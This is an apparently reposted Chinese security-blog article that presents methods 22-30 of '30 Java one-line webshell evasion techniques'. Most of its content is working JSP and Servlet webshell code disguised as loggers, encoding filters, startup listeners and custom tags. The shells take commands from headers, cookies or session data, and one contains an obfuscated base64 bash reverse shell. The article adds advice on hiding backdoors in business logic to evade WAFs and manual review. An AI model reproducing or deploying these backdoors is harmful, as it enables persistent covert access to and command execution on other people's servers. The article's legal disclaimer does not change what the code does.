30种Java一句话木马免杀方法

admin 2026-04-28 05:45:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了Java一句话木马免杀的底层逻辑与30种实战方法,核心是通过拆分关键词、反射混淆、字节码操作及JNI技术破坏WAF/EDR的静态特征、语义分析、行为检测等维度,实现静态无特征、语义无恶意、行为无异常的免杀效果,覆盖Java8+主流环境与Tomcat、WebLogic等Web容器,提供从新手到高阶的梯度化代码示例与避坑提示。 综合评分: 90 文章分类: 免杀,Web安全,红队,代码审计,安全开发


适配环境:全Java版本+主流Web容器避坑提示:正常业务逻辑要尽量真实,比如真的实现文件保存、图片格式校验,避免被人工发现。

方法22:伪装成日志记录免杀

免杀原理:把恶意代码藏在日志记录的逻辑中,伪装成访问日志、错误日志的记录功能,在日志输出时触发恶意执行。实战代码(JSP形式,伪装成访问日志)

<%@ page import="java.util.Date"&nbsp;%>

<%

&nbsp; &nbsp; // 伪装成访问日志记录

&nbsp; &nbsp; String ip = request.getRemoteAddr();

&nbsp; &nbsp; String ua = request.getHeader("User-Agent");

&nbsp; &nbsp; Date d = new Date();

&nbsp; &nbsp; // 正常日志记录逻辑

&nbsp; &nbsp; out.println("["&nbsp;+ d +&nbsp;"] "&nbsp;+ ip +&nbsp;" "&nbsp;+ ua);

&nbsp; &nbsp; // 特定User-Agent触发恶意代码

&nbsp; &nbsp;&nbsp;if(ua != null && ua.contains("TriggerUA")){

&nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));

&nbsp; &nbsp; }

%>

适配环境:全Java版本+主流Web容器避坑提示:可真的把日志写入文件,伪装性更强。

方法23:过滤器Filter免杀

免杀原理:把恶意代码写在Servlet Filter的doFilter()方法中,伪装成安全过滤、字符编码过滤等正常功能,随每个请求触发,隐蔽性极强,是持久化的常用方案。实战代码(Filter形式,需在web.xml配置)

// 伪装成字符编码过滤器

import javax.servlet.*;

import java.io.IOException;

public class EncodingFilter implements Filter {

&nbsp; &nbsp; @Override

&nbsp; &nbsp; public void init(FilterConfig filterConfig) throws ServletException {}

&nbsp; &nbsp; @Override

&nbsp; &nbsp; public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

&nbsp; &nbsp; &nbsp; &nbsp; // 正常的字符编码设置

&nbsp; &nbsp; &nbsp; &nbsp; request.setCharacterEncoding("UTF-8");

&nbsp; &nbsp; &nbsp; &nbsp; response.setCharacterEncoding("UTF-8");

&nbsp; &nbsp; &nbsp; &nbsp; // 特定参数触发恶意代码

&nbsp; &nbsp; &nbsp; &nbsp; String cmd = request.getParameter("cmd");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj, cmd);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {}

&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; // 继续过滤器链

&nbsp; &nbsp; &nbsp; &nbsp; chain.doFilter(request, response);

&nbsp; &nbsp; }

&nbsp; &nbsp; @Override

&nbsp; &nbsp; public void&nbsp;destroy() {}

}

适配环境:全Java版本+主流Web容器避坑提示:Filter类名要尽量真实,比如EncodingFilterSecurityFilter,需在web.xml中正常配置,避免被发现。

方法24:监听器Listener免杀

免杀原理:把恶意代码写在ServletContextListener的contextInitialized()方法中,随Web容器启动自动执行,或者在sessionCreated()中随会话触发,隐蔽性极强,是持久化的高级方案。实战代码(Listener形式,需在web.xml配置)

// 伪装成容器启动监听器

import javax.servlet.ServletContextEvent;

import javax.servlet.ServletContextListener;

public class StartupListener implements ServletContextListener {

&nbsp; &nbsp; @Override

&nbsp; &nbsp; public void contextInitialized(ServletContextEvent sce) {

&nbsp; &nbsp; &nbsp; &nbsp; // 正常的容器初始化逻辑

&nbsp; &nbsp; &nbsp; &nbsp; sce.getServletContext().log("容器启动成功");

&nbsp; &nbsp; &nbsp; &nbsp; // 容器启动时执行恶意代码(比如反弹Shell)

&nbsp; &nbsp; &nbsp; &nbsp; try {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj,&nbsp;"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}");

&nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {}

&nbsp; &nbsp; }

&nbsp; &nbsp; @Override

&nbsp; &nbsp; public void contextDestroyed(ServletContextEvent sce) {}

}

适配环境:全Java版本+主流Web容器避坑提示:Listener类名要尽量真实,比如StartupListenerConfigListener,需在web.xml中正常配置。

方法25:JSP标签库伪装免杀

免杀原理:自定义JSP标签库,把恶意代码写在标签处理类中,在JSP页面中用正常的标签语法调用,看起来完全是合法的JSP标签,极难被识别。实战代码(标签处理类+JSP调用)

// 自定义标签处理类

import javax.servlet.jsp.tagext.SimpleTagSupport;

import java.io.IOException;

public class MyTag extends SimpleTagSupport {

&nbsp; &nbsp; private String key;

&nbsp; &nbsp; public void setKey(String key) { this.key = key; }

&nbsp; &nbsp; @Override

&nbsp; &nbsp; public void doTag() throws IOException {

&nbsp; &nbsp; &nbsp; &nbsp; // 正常的标签逻辑

&nbsp; &nbsp; &nbsp; &nbsp; getJspContext().getOut().println("正常标签输出");

&nbsp; &nbsp; &nbsp; &nbsp; // 特定key触发恶意代码

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if("auth123".equals(key)){

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String cmd = getJspContext().getRequest().getParameter("cmd");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj, cmd);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {}

&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; }

}
<%-- JSP页面调用标签 --%>

<%@ taglib prefix="my"&nbsp;uri="/WEB-INF/mytag.tld"&nbsp;%>

<my:myTag key="auth123"&nbsp;/>

适配环境:全Java版本+主流Web容器避坑提示:需配套编写真实的tld标签库描述文件,标签功能要尽量真实。

第六类:协议特性与无特征免杀(方法26-30)

核心逻辑:极致免杀,去掉所有固定的request.getParameter("cmd")特征,利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入,绕过几乎所有WAF的静态、语义检测,适用于严格防护的实战环境。

方法26:HTTP请求头免杀

免杀原理:把执行命令藏在HTTP请求头中(比如X-CMDUser-Agent),代码中没有任何request.getParameter()特征,WAF很难检测请求头中的恶意内容。实战代码(JSP形式)

<%

&nbsp; &nbsp; String cmd = request.getHeader("X-CMD");

&nbsp; &nbsp; String auth = request.getHeader("X-Auth");

&nbsp; &nbsp;&nbsp;if(cmd != null &&&nbsp;"auth123".equals(auth)){

&nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj, cmd);

&nbsp; &nbsp; }

%>

使用方式:客户端在HTTP请求头中加入X-Auth: auth123X-CMD: 执行命令适配环境:全Java版本+主流Web容器避坑提示:可使用User-AgentCookieReferer等常规请求头存储命令,伪装性更强。

方法27:Cookie免杀

免杀原理:把执行命令藏在Cookie中,加密存储,代码中解密执行,没有直接的用户输入特征,WAF很难检测Cookie中的加密内容。实战代码(JSP形式)

<%@ page import="java.util.Base64"&nbsp;%>

<%

&nbsp; &nbsp; Cookie[] cookies = request.getCookies();

&nbsp; &nbsp; String cmd = null;

&nbsp; &nbsp; String auth = null;

&nbsp; &nbsp;&nbsp;if(cookies != null){

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for(Cookie c : cookies){

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue()));

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if("a".equals(c.getName())) auth = c.getValue();

&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;if(cmd != null &&&nbsp;"auth123".equals(auth)){

&nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj, cmd);

&nbsp; &nbsp; }

%>

使用方式:客户端设置Cookie a=auth123c=Base64编码的命令适配环境:全Java版本+主流Web容器避坑提示:可使用更复杂的加密算法(比如异或、AES)替代Base64,免杀效果更强。

方法28:request.getInputStream()免杀

免杀原理:利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据,执行代码,没有任何GET/POST参数特征,WAF很难匹配到固定的输入模式。实战代码(JSP形式)

<%@ page import="java.io.*"&nbsp;%>

<%

&nbsp; &nbsp; // 读取请求体原始数据

&nbsp; &nbsp; InputStream is = request.getInputStream();

&nbsp; &nbsp; ByteArrayOutputStream baos = new ByteArrayOutputStream();

&nbsp; &nbsp; byte[] buf = new byte[1024];

&nbsp; &nbsp; int len;

&nbsp; &nbsp;&nbsp;while((len = is.read(buf)) != -1) baos.write(buf, 0, len);

&nbsp; &nbsp; String data = new String(baos.toByteArray());

&nbsp; &nbsp; // 简单的协议:前6位是auth,后面是命令

&nbsp; &nbsp;&nbsp;if(data.length() > 6 && data.startsWith("auth123")){

&nbsp; &nbsp; &nbsp; &nbsp; String cmd = data.substring(6);

&nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj, cmd);

&nbsp; &nbsp; }

%>

使用方式:客户端在HTTP请求体中写入auth123执行命令,POST提交适配环境:全Java版本+主流Web容器避坑提示:可对请求体数据做加密、压缩处理,进一步隐藏特征。

方法29:Session存储免杀

免杀原理:把执行命令藏在Session中,第一个请求存入Session,第二个请求触发执行,代码中没有直接的实时用户输入,特征更少。实战代码(JSP形式)

<%

&nbsp; &nbsp; String action = request.getParameter("a");

&nbsp; &nbsp;&nbsp;if("set".equals(action)){

&nbsp; &nbsp; &nbsp; &nbsp; // 第一个请求:存入命令到Session

&nbsp; &nbsp; &nbsp; &nbsp; session.setAttribute("cmd", request.getParameter("c"));

&nbsp; &nbsp; &nbsp; &nbsp; session.setAttribute("auth", request.getParameter("k"));

&nbsp; &nbsp; }&nbsp;elseif("run".equals(action)){

&nbsp; &nbsp; &nbsp; &nbsp; // 第二个请求:从Session取出执行

&nbsp; &nbsp; &nbsp; &nbsp; String cmd = (String) session.getAttribute("cmd");

&nbsp; &nbsp; &nbsp; &nbsp; String auth = (String) session.getAttribute("auth");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(cmd != null &&&nbsp;"auth123".equals(auth)){

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = Class.forName("java.lang.Runtime");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object obj = c.getMethod("getRuntime").invoke(null);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c.getMethod("exec", String.class).invoke(obj, cmd);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 执行后清除Session

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; session.removeAttribute("cmd");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; session.removeAttribute("auth");

&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; }

%>

使用方式:先访问?a=set&k=auth123&c=命令,再访问?a=run触发执行适配环境:全Java版本+主流Web容器避坑提示:可设置Session过期时间,避免长期留存痕迹。

方法30:无敏感类名命令执行(反射调用内部类)

免杀原理:完全去掉RuntimeProcessBuilder等敏感类名,通过反射调用Java内部的ProcessImpl类(进程实现类),或者用Java 9+的ProcessHandle,没有任何公开的敏感类特征,是对抗高级WAF的终极方案。实战代码(JSP形式,反射调用ProcessImpl)

<%

&nbsp; &nbsp; // 反射调用Java内部类ProcessImpl(仅作示例,不同JDK版本ProcessImpl路径可能不同)

&nbsp; &nbsp; Class<?> piCls = Class.forName("java.lang.ProcessImpl");

&nbsp; &nbsp; // 反射调用start方法(不同JDK版本参数可能不同)

&nbsp; &nbsp; java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class);

&nbsp; &nbsp; m.setAccessible(true);

&nbsp; &nbsp; // 执行命令

&nbsp; &nbsp; m.invoke(null, new String[]{"/bin/sh",&nbsp;"-c", request.getParameter("cmd")}, null, null, null,&nbsp;false);

%>

适配环境:特定JDK版本(需根据目标JDK调整ProcessImpl的调用)避坑提示:可配合Java版本动态判断,选择对应的内部类调用方式,兼容性更好。

实战免杀核心原则

  1. 拒绝直接使用公开Payload:所有公开的免杀方法都会被WAF快速收录,实战中必须组合2-3种方法做自定义变形,生成专属Payload,才能保证免杀效果;
  2. 最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露;
  3. 适配目标环境:先确认目标Web容器、JDK版本,选择对应兼容的免杀方法,避免使用目标环境废弃的API;
  4. 合法业务伪装优先:尽量把恶意代码藏在合法的业务逻辑中,不仅能绕过WAF,还能规避人工排查,是红蓝对抗的首选;
  5. 本地测试优先:所有Payload必须先在本地搭建的目标环境(相同JDK、Web容器、WAF)中测试通过,再放到实战环境使用,避免暴露攻击特征。

Tips

再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。

广告时间


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:泷羽Sec-Norsea 《30种Java一句话木马免杀方法》

评论:0   参与:  0